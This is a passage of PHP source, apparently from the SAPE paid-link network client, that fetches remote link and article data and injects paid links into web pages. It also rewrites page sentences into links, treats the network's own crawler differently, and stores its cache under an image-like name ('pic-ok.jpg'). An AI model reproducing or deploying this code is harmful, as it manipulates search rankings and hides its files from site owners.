$this-&gt;_read($this-&gt;_db_file);         if (                 $this-&gt;_force_update_db                 || (                         !$this-&gt;_is_our_bot                         &&                         (                                 filemtime($this-&gt;_db_file) &lt; (time() - $this-&gt;_cache_lifetime)                                 ||                                 filesize($this-&gt;_db_file) == 0                                 ||                                 @unserialize($data) == false                         )                 )         ) {                      @touch($this-&gt;_db_file, (time() - $this-&gt;_cache_lifetime + $this-&gt;_cache_reloadtime));              $path = $this-&gt;_get_dispenser_path();             if (strlen($this-&gt;_charset)) {                 $path .= '&charset=' . $this-&gt;_charset;             }              foreach ($this-&gt;_server_list as $server) {                 if ($data = $this-&gt;fetch_remote_file($server, $path)) {                     if (substr($data, 0, 12) == 'FATAL ERROR:') {                         $this-&gt;raise_error($data);                     } else {                         $hash = @unserialize($data);                         if ($hash != false) {                             $hash['__sape_charset__'] = $this-&gt;_charset;                             $hash['__last_update__'] = time();                             $hash['__multi_site__'] = $this-&gt;_multi_site;                             $hash['__fetch_remote_type__'] = $this-&gt;_fetch_remote_type;                             $hash['__ignore_case__'] = $this-&gt;_ignore_case;                             $hash['__php_version__'] = phpversion();                             $hash['__server_software__'] = $_SERVER['SERVER_SOFTWARE'];                              $data_new = @serialize($hash);                             if ($data_new) {                                 $data = $data_new;                             }                              $this-&gt;_write($this-&gt;_db_file, $data);                             break;                         }                     }                 }             }         }          if (strlen(session_id())) {             $session = session_name() . '=' . session_id();             $this-&gt;_request_uri = str_replace(array('?' . $session, '&' . $session), '', $this-&gt;_request_uri);         }          $this-&gt;set_data(@unserialize($data));          return true;     } }  class SAPE_client extends SAPE_base {      var $_links_delimiter = '';     var $_links = array();     var $_links_page = array();     var $_user_agent = 'SAPE_Client PHP';      var $_show_only_block = false;     var $_block_tpl = '';     var $_block_tpl_options = array();     var $_block_uri_idna = array();      function SAPE_client($options = null) {         parent::SAPE_base($options);         $this-&gt;load_data();     }       function _return_array_links_html($html, $options = null) {          if(empty($options)) {             $options = array();         }             if (                 strlen($this-&gt;_charset) &gt; 0                 &&                 strlen($this-&gt;_sape_charset) &gt; 0                 &&                 $this-&gt;_sape_charset != $this-&gt;_charset                 &&                 function_exists('iconv')         ) {             $new_html = @iconv($this-&gt;_sape_charset, $this-&gt;_charset, $html);             if ($new_html) {                 $html = $new_html;             }         }          if ($this-&gt;_is_our_bot) {              $html = '&lt;sape_noindex&gt;' . $html . '&lt;\/sape_noindex&gt;';              if(isset($options['is_block_links']) && true == $options['is_block_links']) {                  if(!isset($options['nof_links_requested'])) {                     $options['nof_links_requested'] = 0;                 }                 if(!isset($options['nof_links_displayed'])) {                     $options['nof_links_displayed'] = 0;                 }                 if(!isset($options['nof_obligatory'])) {                     $options['nof_obligatory'] = 0;                 }                 if(!isset($options['nof_conditional'])) {                     $options['nof_conditional'] = 0;                 }                  $html = '&lt;sape_block nof_req=&quot;' . $options['nof_links_requested'] .                             '&quot; nof_displ=&quot;' . $options['nof_links_displayed'] .                             '&quot; nof_oblig=&quot;' . $options['nof_obligatory'] .                             '&quot; nof_cond=&quot;' . $options['nof_conditional'] .                             '&quot;&gt;' . $html .                         '&lt;\/sape_block&gt;';             }         }          return $html;     }      function _return_html($html) {           if ($this-&gt;_debug) {             $html .= print_r($this, true);         }          return $html;     }      function return_block_links($n = null, $offset = 0, $options = null) {          if(empty($options)) {             $options = array();         }          $defaults = array();         $defaults['block_no_css']         = false;         $defaults['block_orientation']     = 1;         $defaults['block_width']         = '';          $ext_options = array();         if(isset($this-&gt;_block_tpl_options) && is_array($this-&gt;_block_tpl_options)) {             $ext_options = $this-&gt;_block_tpl_options;         }          $options = array_merge($defaults, $ext_options, $options);          if (!is_array($this-&gt;_links_page)) {             $html = $this-&gt;_return_array_links_html('', array('is_block_links' =&gt; true));             return $this-&gt;_return_html($this-&gt;_links_page . $html);         }         elseif(!isset($this-&gt;_block_tpl)) {             return $this-&gt;_return_html('');         }            $total_page_links = count($this-&gt;_links_page);          $need_show_obligatory_block = false;         $need_show_conditional_block = false;         $n_requested = 0;          if(isset($this-&gt;_block_ins_itemobligatory)) {             $need_show_obligatory_block = true;         }          if(is_numeric($n) && $n &gt;= $total_page_links) {              $n_requested = $n;              if(isset($this-&gt;_block_ins_itemconditional)) {                 $need_show_conditional_block = true;             }         }          if (!is_numeric($n) || $n &gt; $total_page_links) {             $n = $total_page_links;         }           $links = array();         for ($i = 1; $i &lt;= $n; $i++) {             if ($offset &gt; 0 && $i &lt;= $offset) {                 array_shift($this-&gt;_links_page);             } else {                 $links[] = array_shift($this-&gt;_links_page);             }         }          $html = '';          $nof_conditional = 0;         if(count($links) &lt; $n_requested && true == $need_show_conditional_block) {             $nof_conditional = $n_requested - count($links);         }           if(empty($links) && $need_show_obligatory_block == false && $nof_conditional == 0) {              $return_links_options = array(                 'is_block_links'        =&gt; true,                 'nof_links_requested'   =&gt; $n_requested,                 'nof_links_displayed'   =&gt; 0,                 'nof_obligatory'        =&gt; 0,                 'nof_conditional'       =&gt; 0             );              $html = $this-&gt;_return_array_links_html($html, $return_links_options);              return $this-&gt;_return_html($html);         }      if (!$this-&gt;_is_block_css_showed && false == $options['block_no_css']) {             $html .= $this-&gt;_block_tpl['css'];             $this-&gt;_is_block_css_showed = true;         }          if (isset($this-&gt;_block_ins_beforeall) && !$this-&gt;_is_block_ins_beforeall_showed){             $html .= $this-&gt;_block_ins_beforeall;             $this-&gt;_is_block_ins_beforeall_showed = true;         }         if (isset($this-&gt;_block_ins_beforeblock)){             $html .= $this-&gt;_block_ins_beforeblock;         }         $block_tpl_parts = $this-&gt;_block_tpl[$options['block_orientation']];          $block_tpl             = $block_tpl_parts['block'];         $item_tpl             = $block_tpl_parts['item'];         $item_container_tpl = $block_tpl_parts['item_container'];         $item_tpl_full         = str_replace('{item}', $item_tpl, $item_container_tpl);         $items                 = '';          $nof_items_total = count($links);         foreach ($links as $link){              preg_match('#&lt;a href=&quot;(https?:\/\/([^&quot;\/]+)[^&quot;]*)&quot;[^&gt;]*&gt;[\\s]*([^&lt;]+)&lt;\/a&gt;#i', $link, $link_item);              if (function_exists('mb_strtoupper') && strlen($this-&gt;_sape_charset) &gt; 0) {                 $header_rest = mb_substr($link_item[3], 1, mb_strlen($link_item[3], $this-&gt;_sape_charset) - 1, $this-&gt;_sape_charset);                 $header_first_letter = mb_strtoupper(mb_substr($link_item[3], 0, 1, $this-&gt;_sape_charset), $this-&gt;_sape_charset);                 $link_item[3] = $header_first_letter . $header_rest;             } elseif(function_exists('ucfirst') && (strlen($this-&gt;_sape_charset) == 0 || strpos($this-&gt;_sape_charset, '1251') !== false) ) {                 $link_item[3][0] = ucfirst($link_item[3][0]);             }                       if(isset($this-&gt;_block_uri_idna) && isset($this-&gt;_block_uri_idna[$link_item[2]])) {                 $link_item[2] = $this-&gt;_block_uri_idna[$link_item[2]];             }              $item = $item_tpl_full;             $item = str_replace('{header}', $link_item[3], $item);             $item = str_replace('{text}', trim($link), $item);             $item = str_replace('{url}', $link_item[2], $item);             $item = str_replace('{link}', $link_item[1], $item);             $items .= $item;         }          if(true == $need_show_obligatory_block) {             $items .= str_replace('{item}', $this-&gt;_block_ins_itemobligatory, $item_container_tpl);             $nof_items_total += 1;         }          if($need_show_conditional_block == true && $nof_conditional &gt; 0) {             for($i = 0; $i &lt; $nof_conditional; $i++) {                 $items .= str_replace('{item}', $this-&gt;_block_ins_itemconditional, $item_container_tpl);             }             $nof_items_total += $nof_conditional;         }          if ($items != ''){             $html .= str_replace('{items}', $items, $block_tpl);              if ($nof_items_total &gt; 0){                 $html = str_replace('{td_width}', round(100\/$nof_items_total), $html);             } else {                 $html = str_replace('{td_width}', 0, $html);             }             if(isset($options['block_width']) && !empty($options['block_width'])) {                 $html = str_replace('{block_style_custom}', 'style=&quot;width: ' . $options['block_width'] . '!important;&quot;', $html);             }         }          unset($block_tpl_parts, $block_tpl, $items, $item, $item_tpl, $item_container_tpl);          if (isset($this-&gt;_block_ins_afterblock)){             $html .= $this-&gt;_block_ins_afterblock;         }          unset($options['block_no_css'], $options['block_orientation'], $options['block_width']);          $tpl_modifiers = array_keys($options);         foreach($tpl_modifiers as $k=&gt;$m) {             $tpl_modifiers[$k] = '{' . $m . '}';         }         unset($m, $k);          $tpl_modifiers_values =  array_values($options);          $html = str_replace($tpl_modifiers, $tpl_modifiers_values, $html);         unset($tpl_modifiers, $tpl_modifiers_values);           $clear_modifiers_regexp = '#\\{[a-z\\d_\\-]+\\}#';         $html = preg_replace($clear_modifiers_regexp, ' ', $html);          $return_links_options = array(             'is_block_links'         =&gt; true,             'nof_links_requested'    =&gt; $n_requested,             'nof_links_displayed'    =&gt; $n,             'nof_obligatory'         =&gt; ($need_show_obligatory_block == true ? 1 : 0),             'nof_conditional'        =&gt; $nof_conditional         );          $html = $this-&gt;_return_array_links_html($html, $return_links_options);          return $this-&gt;_return_html($html);     }         function return_links($n = null, $offset = 0, $options = null) {            $as_block = $this-&gt;_show_only_block;          if(is_array($options) && isset($options['as_block']) && false == $as_block) {             $as_block = $options['as_block'];         }          if(true == $as_block && isset($this-&gt;_block_tpl)) {             return $this-&gt;return_block_links($n, $offset, $options);         }           if (is_array($this-&gt;_links_page)) {              $total_page_links = count($this-&gt;_links_page);              if (!is_numeric($n) || $n &gt; $total_page_links) {                 $n = $total_page_links;             }              $links = array();              for ($i = 1; $i &lt;= $n; $i++) {                 if ($offset &gt; 0 && $i &lt;= $offset) {                     array_shift($this-&gt;_links_page);                 } else {                     $links[] = array_shift($this-&gt;_links_page);                 }             }              $html = join($this-&gt;_links_delimiter, $links);               if (                     strlen($this-&gt;_charset) &gt; 0                     &&                     strlen($this-&gt;_sape_charset) &gt; 0                     &&                     $this-&gt;_sape_charset != $this-&gt;_charset                     &&                     function_exists('iconv')             ) {                 $new_html = @iconv($this-&gt;_sape_charset, $this-&gt;_charset, $html);                 if ($new_html) {                     $html = $new_html;                 }             }              if ($this-&gt;_is_our_bot) {                 $html = '&lt;sape_noindex&gt;' . $html . '&lt;\/sape_noindex&gt;';             }         } else {             $html = $this-&gt;_links_page;             if ($this-&gt;_is_our_bot) {                 $html .= '&lt;sape_noindex&gt;&lt;\/sape_noindex&gt;';             }         }          if ($this-&gt;_debug) {             $html .= print_r($this, true);         }          return $html;     }      function _get_db_file() {         if ($this-&gt;_multi_site) {             return dirname(__FILE__) . '\/' . $this-&gt;_host . '.pic-ok.jpg';         } else {             return dirname(__FILE__) . '\/pic-ok.jpg';         }     }      function _get_dispenser_path() {         return '\/code.php?user=' . _SAPE_USER . '&host=' . $this-&gt;_host;     }      function set_data($data) {         if ($this-&gt;_ignore_case) {             $this-&gt;_links = array_change_key_case($data);         } else {             $this-&gt;_links = $data;         }         if (isset($this-&gt;_links['__sape_delimiter__'])) {             $this-&gt;_links_delimiter = $this-&gt;_links['__sape_delimiter__'];         }         if (isset($this-&gt;_links['__sape_charset__'])) {             $this-&gt;_sape_charset = $this-&gt;_links['__sape_charset__'];         } else {             $this-&gt;_sape_charset = '';         }         if (@array_key_exists($this-&gt;_request_uri, $this-&gt;_links) && is_array($this-&gt;_links[$this-&gt;_request_uri])) {             $this-&gt;_links_page = $this-&gt;_links[$this-&gt;_request_uri];         } else {             if (isset($this-&gt;_links['__sape_new_url__']) && strlen($this-&gt;_links['__sape_new_url__'])) {                 if ($this-&gt;_is_our_bot || $this-&gt;_force_show_code) {                     $this-&gt;_links_page = $this-&gt;_links['__sape_new_url__'];                 }             }         }         if (isset($this-&gt;_links['__sape_show_only_block__'])) {             $this-&gt;_show_only_block = $this-&gt;_links['__sape_show_only_block__'];         }         else {             $this-&gt;_show_only_block = false;         }          if (isset($this-&gt;_links['__sape_block_tpl__']) && !empty($this-&gt;_links['__sape_block_tpl__'])                 && is_array($this-&gt;_links['__sape_block_tpl__'])){             $this-&gt;_block_tpl = $this-&gt;_links['__sape_block_tpl__'];         }          if (isset($this-&gt;_links['__sape_block_tpl_options__']) && !empty($this-&gt;_links['__sape_block_tpl_options__'])                 && is_array($this-&gt;_links['__sape_block_tpl_options__'])){             $this-&gt;_block_tpl_options = $this-&gt;_links['__sape_block_tpl_options__'];         }         if (isset($this-&gt;_links['__sape_block_uri_idna__']) && !empty($this-&gt;_links['__sape_block_uri_idna__'])                 && is_array($this-&gt;_links['__sape_block_uri_idna__'])){             $this-&gt;_block_uri_idna = $this-&gt;_links['__sape_block_uri_idna__'];         }          $check_blocks = array(             'beforeall',             'beforeblock',             'afterblock',             'itemobligatory',             'itemconditional',             'afterall'         );          foreach($check_blocks as $block_name) {              $var_name = '__sape_block_ins_' . $block_name . '__';             $prop_name = '_block_ins_' . $block_name;              if (isset($this-&gt;_links[$var_name]) && strlen($this-&gt;_links[$var_name]) &gt; 0) {                 $this-&gt;$prop_name = $this-&gt;_links[$var_name];             }          }     } }   class SAPE_context extends SAPE_base {      var $_words = array();     var $_words_page = array();     var $_user_agent = 'SAPE_Context PHP';     var $_filter_tags = array('a', 'textarea', 'select', 'script', 'style', 'label', 'noscript', 'noindex', 'button');      function SAPE_context($options = null) {         parent::SAPE_base($options);         $this-&gt;load_data();     }       function replace_in_text_segment($text) {         $debug = '';         if ($this-&gt;_debug) {             $debug .= &quot;&lt;!-- argument for replace_in_text_segment: \\r\\n&quot; . base64_encode($text) . &quot;\\r\\n --&gt;&quot;;         }         if (count($this-&gt;_words_page) &gt; 0) {              $source_sentences = array();             if ($this-&gt;_debug) {                 $debug .= '&lt;!-- sentences for replace: ';             }             foreach ($this-&gt;_words_page as $n =&gt; $sentence) {                 $special_chars = array(                     '&amp;'     =&gt; '&',                     '&quot;'    =&gt; '&quot;',                     '&#039;'    =&gt; '\\'',                     '&lt;'      =&gt; '&lt;',                     '&gt;'      =&gt; '&gt;'                 );                 $sentence = strip_tags($sentence);                 $sentence = strip_tags($sentence);                 $sentence = str_replace(array_keys($special_chars), array_values($special_chars), $sentence);                 $htsc_charset = empty($this-&gt;_charset) ? 'windows-1251' : $this-&gt;_charset;                 $quote_style = ENT_COMPAT;                 if (version_compare(PHP_VERSION, '5.4.0') &gt;= 0) {                     $quote_style = ENT_COMPAT|ENT_HTML401;                 }                  $sentence = htmlspecialchars($sentence, $quote_style, $htsc_charset);                  $sentence = preg_quote($sentence, '\/');                 $replace_array = array();                 if (preg_match_all('\/(&[#a-zA-Z0-9]{2,6};)\/isU', $sentence, $out)) {                     for ($i = 0; $i &lt; count($out[1]); $i++) {                         $unspec = $special_chars[$out[1][$i]];                         $real = $out[1][$i];                         $replace_array[$unspec] = $real;                     }                 }               foreach ($replace_array as $unspec =&gt; $real) {                     $sentence = str_replace($real, '((' . $real . ')|(' . $unspec . '))', $sentence);                 }                  $source_sentences[$n] = str_replace(' ', '((\\s)|(&nbsp;))+', $sentence);                  if ($this-&gt;_debug) {                     $debug .= $source_sentences[$n] . &quot;\\r\\n\\r\\n&quot;;                 }             }              if ($this-&gt;_debug) {                 $debug .= '--&gt;';             }               $first_part = true;                        if (count($source_sentences) &gt; 0) {                  $content = '';                 $open_tags = array();                  $close_tag = '';                    $part = strtok(' ' . $text, '&lt;');                  while ($part !== false) {                      if (preg_match('\/(?si)^(\\\/?[a-z0-9]+)\/', $part, $matches)) {                           if (substr($tag_name, 0, 1) == '\/') {                             $close_tag = substr($tag_name, 1);                             if ($this-&gt;_debug) {                                 $debug .= '&lt;!-- close_tag: ' . $close_tag . ' --&gt;';                             }                         } else {                             $close_tag = '';                             if ($this-&gt;_debug) {                                 $debug .= '&lt;!-- open_tag: ' . $tag_name . ' --&gt;';                             }                         }                         $cnt_tags = count($open_tags);                         if (($cnt_tags &gt; 0) && ($open_tags[$cnt_tags - 1] == $close_tag)) {                             array_pop($open_tags);                             if ($this-&gt;_debug) {                                 $debug .= '&lt;!-- ' . $tag_name . ' - deleted from open_tags --&gt;';                             }                             if ($cnt_tags - 1 == 0) {                                 if ($this-&gt;_debug) {                                     $debug .= '&lt;!-- start replacement --&gt;';                                 }                             }                         }                          if (count($open_tags) == 0) {                             if (!in_array($tag_name, $this-&gt;_filter_tags)) {                                 $split_parts = explode('&gt;', $part, 2);                                         if (count($split_parts) == 2) {                                      foreach ($source_sentences as $n =&gt; $sentence) {                                         if (preg_match('\/' . $sentence . '\/', $split_parts[1]) == 1) {                                             $split_parts[1] = preg_replace('\/' . $sentence . '\/', str_replace('$', '\\$', $this-&gt;_words_page[$n]), $split_parts[1], 1);                                             if ($this-&gt;_debug) {                                                 $debug .= '&lt;!-- ' . $sentence . ' --- ' . $this-&gt;_words_page[$n] . ' replaced --&gt;';                                             }                                               unset($source_sentences[$n]);                                             unset($this-&gt;_words_page[$n]);                                         }                                     }                                     $part = $split_parts[0] . '&gt;' . $split_parts[1];                                     unset($split_parts);                                 }                             } else {                                  $open_tags[] = $tag_name;                                 if ($this-&gt;_debug) {                                     $debug .= '&lt;!-- ' . $tag_name . ' - added to open_tags, stop replacement --&gt;';                                 }                             }                         }                     } else {                           foreach ($source_sentences as $n =&gt; $sentence) {                             if (preg_match('\/' . $sentence . '\/', $part) == 1) {                                 $part = preg_replace('\/' . $sentence . '\/', str_replace('$', '\\$', $this-&gt;_words_page[$n]), $part, 1);                                  if ($this-&gt;_debug) {                                     $debug .= '&lt;!-- ' . $sentence . ' --- ' . $this-&gt;_words_page[$n] . ' replaced --&gt;';                                 }                                   unset($source_sentences[$n]);                                 unset($this-&gt;_words_page[$n]);                             }                         }                     }                       if ($this-&gt;_debug) {                         $content .= $debug;                         $debug = '';                     }                      if ($first_part) {                         $content .= $part;                         $first_part = false;                     } else {                         $content .= $debug . '&lt;' . $part;                     }                      unset($part);                     $part = strtok('&lt;');                 }                 $text = ltrim($content);                 unset($content);             }         } else {             if ($this-&gt;_debug) {                 $debug .= '&lt;!-- No word`s for page --&gt;';             }         }          if ($this-&gt;_debug) {             $debug .= '&lt;!-- END: work of replace_in_text_segment() --&gt;';         }          if ($this-&gt;_is_our_bot || $this-&gt;_force_show_code || $this-&gt;_debug) {             $text = '&lt;sape_index&gt;' . $text . '&lt;\/sape_index&gt;';             if (isset($this-&gt;_words['__sape_new_url__']) && strlen($this-&gt;_words['__sape_new_url__'])) {                 $text .= $this-&gt;_words['__sape_new_url__'];             }         }          if ($this-&gt;_debug) {             if (count($this-&gt;_words_page) &gt; 0) {                 $text .= '&lt;!-- Not replaced: ' . &quot;\\r\\n&quot;;                 foreach ($this-&gt;_words_page as $value) {                     $text .= $value . &quot;\\r\\n\\r\\n&quot;;                 }                 $text .= '--&gt;';             }              $text .= $debug;         }         return $text;     }       function replace_in_page(&$buffer) {          if (count($this-&gt;_words_page) &gt; 0) {                        $split_content = preg_split('\/(?smi)(&lt;\\\/?sape_index&gt;)\/', $buffer, -1);             $cnt_parts = count($split_content);             if ($cnt_parts &gt; 1) {                                if ($cnt_parts &gt;= 3) {                     for ($i = 1; $i &lt; $cnt_parts; $i = $i + 2) {                         $split_content[$i] = $this-&gt;replace_in_text_segment($split_content[$i]);                     }                 }                 $buffer = implode('', $split_content);                 if ($this-&gt;_debug) {                     $buffer .= '&lt;!-- Split by Sape_index cnt_parts=' . $cnt_parts . '--&gt;';                 }             } else {                                $split_content = preg_split('\/(?smi)(&lt;\\\/?body[^&gt;]*&gt;)\/', $buffer, -1, PREG_SPLIT_DELIM_CAPTURE);                                 if (count($split_content) == 5) {                     $split_content[0] = $split_content[0] . $split_content[1];                     $split_content[1] = $this-&gt;replace_in_text_segment($split_content[2]);                     $split_content[2] = $split_content[3] . $split_content[4];                     unset($split_content[3]);                     unset($split_content[4]);                     $buffer = $split_content[0] . $split_content[1] . $split_content[2];                     if ($this-&gt;_debug) {                         $buffer .= '&lt;!-- Split by BODY --&gt;';                     }                 } else {                      if ($this-&gt;_debug) {                         $buffer .= '&lt;!-- Can`t split by BODY --&gt;';                     }                 }             }          } else {             if (!$this-&gt;_is_our_bot && !$this-&gt;_force_show_code && !$this-&gt;_debug) {                 $buffer = preg_replace('\/(?smi)(&lt;\\\/?sape_index&gt;)\/', '', $buffer);             } else {                 if (isset($this-&gt;_words['__sape_new_url__']) && strlen($this-&gt;_words['__sape_new_url__'])) {                     $buffer .= $this-&gt;_words['__sape_new_url__'];                 }             }             if ($this-&gt;_debug) {                 $buffer .= '&lt;!-- No word`s for page --&gt;';             }         }         return $buffer;     }      function _get_db_file() {         if ($this-&gt;_multi_site) {             return dirname(__FILE__) . '\/' . $this-&gt;_host . '.words.db';         } else {             return dirname(__FILE__) . '\/words.db';         }     }      function _get_dispenser_path() {         return '\/code_context.php?user=' . _SAPE_USER . '&host=' . $this-&gt;_host;     }      function set_data($data) {         $this-&gt;_words = $data;         if (@array_key_exists($this-&gt;_request_uri, $this-&gt;_words) && is_array($this-&gt;_words[$this-&gt;_request_uri])) {             $this-&gt;_words_page = $this-&gt;_words[$this-&gt;_request_uri];         }     } }   class SAPE_articles extends SAPE_base {      var $_request_mode;      var $_server_list             = array('dispenser.articles.sape.ru');      var $_data                    = array();      var $_article_id;      var $_save_file_name;      var $_announcements_delimiter = '';      var $_images_path;      var $_template_error = false;      var $_noindex_code = '&lt;!--sape_noindex--&gt;';      var $_headers_enabled = false;      var $_mask_code;      var $_real_host;      var $_user_agent = 'SAPE_Articles_Client PHP';      function SAPE_articles($options = null){         parent::SAPE_base($options);         if (is_array($options) && isset($options['headers_enabled'])) {             $this-&gt;_headers_enabled = $options['headers_enabled'];         }         if (isset($options['charset']) && strlen($options['charset'])) {             $this-&gt;_charset = $options['charset'];         } else {             $this-&gt;_charset = '';         }         $this-&gt;_get_index();         if (!empty($this-&gt;_data['index']['announcements_delimiter'])) {             $this-&gt;_announcements_delimiter = $this-&gt;_data['index']['announcements_delimiter'];         }         if (!empty($this-&gt;_data['index']['charset'])             and !(isset($options['charset']) && strlen($options['charset']))) {             $this-&gt;_charset = $this-&gt;_data['index']['charset'];         }         if (is_array($options)) {             if (isset($options['host'])) {                 $host = $options['host'];             }         } elseif (strlen($options)) {             $host = $options;             $options = array();         }         if (isset($host) && strlen($host)) {              $this-&gt;_real_host = $host;         } else {              $this-&gt;_real_host = $_SERVER['HTTP_HOST'];         }         if (!isset($this-&gt;_data['index']['announcements'][$this-&gt;_request_uri])) {             $this-&gt;_correct_uri();         }     }      function _correct_uri() {         if(substr($this-&gt;_request_uri, -1) == '\/') {             $new_uri = substr($this-&gt;_request_uri, 0, -1);         } else {             $new_uri = $this-&gt;_request_uri . '\/';         }         if (isset($this-&gt;_data['index']['announcements'][$new_uri])) {             $this-&gt;_request_uri = $new_uri;         }     }       function return_announcements($n = null, $offset = 0){         $output = '';         if ($this-&gt;_force_show_code || $this-&gt;_is_our_bot) {             if (isset($this-&gt;_data['index']['checkCode'])) {                 $output .= $this-&gt;_data['index']['checkCode'];             }         }          if (isset($this-&gt;_data['index']['announcements'][$this-&gt;_request_uri])) {              $total_page_links = count($this-&gt;_data['index']['announcements'][$this-&gt;_request_uri]);              if (!is_numeric($n) || $n &gt; $total_page_links) {                 $n = $total_page_links;             }              $links = array();              for ($i = 1; $i &lt;= $n; $i++) {                 if ($offset &gt; 0 && $i &lt;= $offset) {                     array_shift($this-&gt;_data['index']['announcements'][$this-&gt;_request_uri]);                 } else {                     $links[] = array_shift($this-&gt;_data['index']['announcements'][$this-&gt;_request_uri]);                 }             }              $html = join($this-&gt;_announcements_delimiter, $links);              if ($this-&gt;_is_our_bot) {                 $html = '&lt;sape_noindex&gt;' . $html . '&lt;\/sape_noindex&gt;';             }              $output .= $html;          }          return $output;     }      function _get_index(){         $this-&gt;_set_request_mode('index');         $this-&gt;_save_file_name = 'articles.db';         $this-&gt;load_data();     }       function process_request(){          if (!empty($this-&gt;_data['index']) and isset($this-&gt;_data['index']['articles'][$this-&gt;_request_uri])) {             return $this-&gt;_return_article();         } elseif (!empty($this-&gt;_data['index']) and isset($this-&gt;_data['index']['images'][$this-&gt;_request_uri])) {             return $this-&gt;_return_image();           } else {                 if ($this-&gt;_is_our_bot) {                     return $this-&gt;_return_html($this-&gt;_data['index']['checkCode'] . $this-&gt;_noindex_code);                 } else {                     return $this-&gt;_return_not_found();                 }           }     }      function _return_article(){         $this-&gt;_set_request_mode('article');         $article_meta = $this-&gt;_data['index']['articles'][$this-&gt;_request_uri];         $this-&gt;_save_file_name = $article_meta['id'] . '.article.db';         $this-&gt;_article_id = $article_meta['id'];         $this-&gt;load_data();          if (!isset($this-&gt;_data['article']['date_updated']) OR $this-&gt;_data['article']['date_updated']  &lt; $article_meta['date_updated']) {             unlink($this-&gt;_get_db_file());             $this-&gt;load_data();         }          $template = $this-&gt;_get_template($this-&gt;_data['index']['templates'][$article_meta['template_id']]['url'], $article_meta['template_id']);          $article_html = $this-&gt;_fetch_article($template);          if ($this-&gt;_is_our_bot) {             $article_html .= $this-&gt;_noindex_code;         }          return $this-&gt;_return_html($article_html);      }      function _prepare_path_to_images(){         $this-&gt;_images_path = dirname(__FILE__) . '\/images\/';         if (!is_dir($this-&gt;_images_path)) {              if (@mkdir($this-&gt;_images_path)) {                 @chmod($this-&gt;_images_path, 0777);             } else {                 return $this-&gt;raise_error('344 ' . $this-&gt;_images_path . '. 48.');               }         }         if ($this-&gt;_multi_site) {             $this-&gt;_images_path .= $this-&gt;_host. '.';         }          return true;     }      function _return_image(){         $this-&gt;_set_request_mode('image');         $this-&gt;_prepare_path_to_images();           $image_meta = $this-&gt;_data['index']['images'][$this-&gt;_request_uri];         $image_path = $this-&gt;_images_path . $image_meta['id']. '.' . $image_meta['ext'];          if (!is_file($image_path) or filemtime($image_path) &gt; $image_meta['date_updated']) {             @touch($image_path, $image_meta['date_updated']);              $path = $image_meta['dispenser_path'];              foreach ($this-&gt;_server_list as $server){                 if ($data = $this-&gt;fetch_remote_file($server, $path)) {                     if (substr($data, 0, 12) == 'FATAL ERROR:') {                         $this-&gt;raise_error($data);                     } else {                         if (strlen($data) &gt; 0) {                             $this-&gt;_write($image_path, $data);                             break;                         }                     }                 }             }         }          unset($data);         if (!is_file($image_path)) {             return $this-&gt;_return_not_found();         }         $image_file_meta = @getimagesize($image_path);         $content_type = isset($image_file_meta['mime'])?$image_file_meta['mime']:'image';         if ($this-&gt;_headers_enabled) {             header('Content-Type: ' . $content_type);         }         return $this-&gt;_read($image_path);     }      function _fetch_article($template){         if (strlen($this-&gt;_charset)) {             $template = str_replace('{meta_charset}',  $this-&gt;_charset, $template);         }         foreach ($this-&gt;_data['index']['template_fields'] as $field){             if (isset($this-&gt;_data['article'][$field])) {                 $template = str_replace('{' . $field . '}',  $this-&gt;_data['article'][$field], $template);             } else {                 $template = str_replace('{' . $field . '}',  '', $template);             }         }         return ($template);     }      function _get_template($template_url, $templateId){         $this-&gt;_save_file_name = 'tpl.articles.db';         $index_file = $this-&gt;_get_db_file();          if (file_exists($index_file)) {             $this-&gt;_data['templates'] = unserialize($this-&gt;_read($index_file));         }           if (!isset($this-&gt;_data['templates'][$template_url])             or (time() - $this-&gt;_data['templates'][$template_url]['date_updated']) &gt; $this-&gt;_data['index']['templates'][$templateId]['lifetime']) {             $this-&gt;_refresh_template($template_url, $index_file);         }         if (!isset($this-&gt;_data['templates'][$template_url])) {             if ($this-&gt;_template_error){                 return $this-&gt;raise_error($this-&gt;_template_error);             }             return $this-&gt;raise_error('m8');         }          return $this-&gt;_data['templates'][$template_url]['body'];     }      function _refresh_template($template_url, $index_file){         $parseUrl = parse_url($template_url);          $download_url = '';         if ($parseUrl['path']) {             $download_url .= $parseUrl['path'];         }         if (isset($parseUrl['query'])) {             $download_url .= '?' . $parseUrl['query'];         }          $template_body = $this-&gt;fetch_remote_file($this-&gt;_real_host, $download_url, true);          if (!$this-&gt;_is_valid_template($template_body)){             return false;         }          $template_body = $this-&gt;_cut_template_links($template_body);          $this-&gt;_data['templates'][$template_url] = array( 'body' =&gt; $template_body, 'date_updated' =&gt; time());         $this-&gt;_write($index_file, serialize($this-&gt;_data['templates']));          return true;     }      function _fill_mask ($data) {         global $unnecessary;         $len = strlen($data[0]);         $mask = str_repeat($this-&gt;_mask_code, $len);         $unnecessary[$this-&gt;_mask_code][] = array(             'mask' =&gt; $mask,             'code' =&gt; $data[0],             'len'  =&gt; $len         );          return $mask;     }      function _cut_unnecessary(&$contents, $code, $mask) {         global $unnecessary;         $this-&gt;_mask_code = $code;         $_unnecessary[$this-&gt;_mask_code] = array();         $contents = preg_replace_callback($mask, array($this, '_fill_mask'), $contents);     }      function _restore_unnecessary(&$contents, $code) {         global $unnecessary;         $offset = 0;         if (!empty($unnecessary[$code])) {             foreach ($unnecessary[$code] as $meta) {                 $offset = strpos($contents, $meta['mask'], $offset);                 $contents = substr($contents, 0, $offset)                     . $meta['code'] . substr($contents, $offset + $meta['len']);             }         }     }      function _cut_template_links($template_body) {         if(function_exists('mb_internal_encoding') && strlen($this-&gt;_charset) &gt; 0) {             mb_internal_encoding($this-&gt;_charset);         }         $link_pattern    = '~(\\&lt;a [^\\&gt;]*?href[^\\&gt;]*?\\=[&quot;\\']{0,1}http[^\\&gt;]*?\\&gt;.*?\\&lt;\/a[^\\&gt;]*?\\&gt;|\\&lt;a [^\\&gt;]*?href[^\\&gt;]*?\\=[&quot;\\']{0,1}http[^\\&gt;]*?\\&gt;|\\&lt;area [^\\&gt;]*?href[^\\&gt;]*?\\=[&quot;\\']{0,1}http[^\\&gt;]*?\\&gt;)~si';         $link_subpattern = '~\\&lt;a |\\&lt;area ~si';         $rel_pattern     = '~[\\s]{1}rel\\=[&quot;\\']{1}[^ &quot;\\'\\&gt;]*?[&quot;\\']{1}| rel\\=[^ &quot;\\'\\&gt;]*?[\\s]{1}~si';         $href_pattern    = '~[\\s]{1}href\\=[&quot;\\']{0,1}(http[^ &quot;\\'\\&gt;]*)?[&quot;\\']{0,1} {0,1}~si';          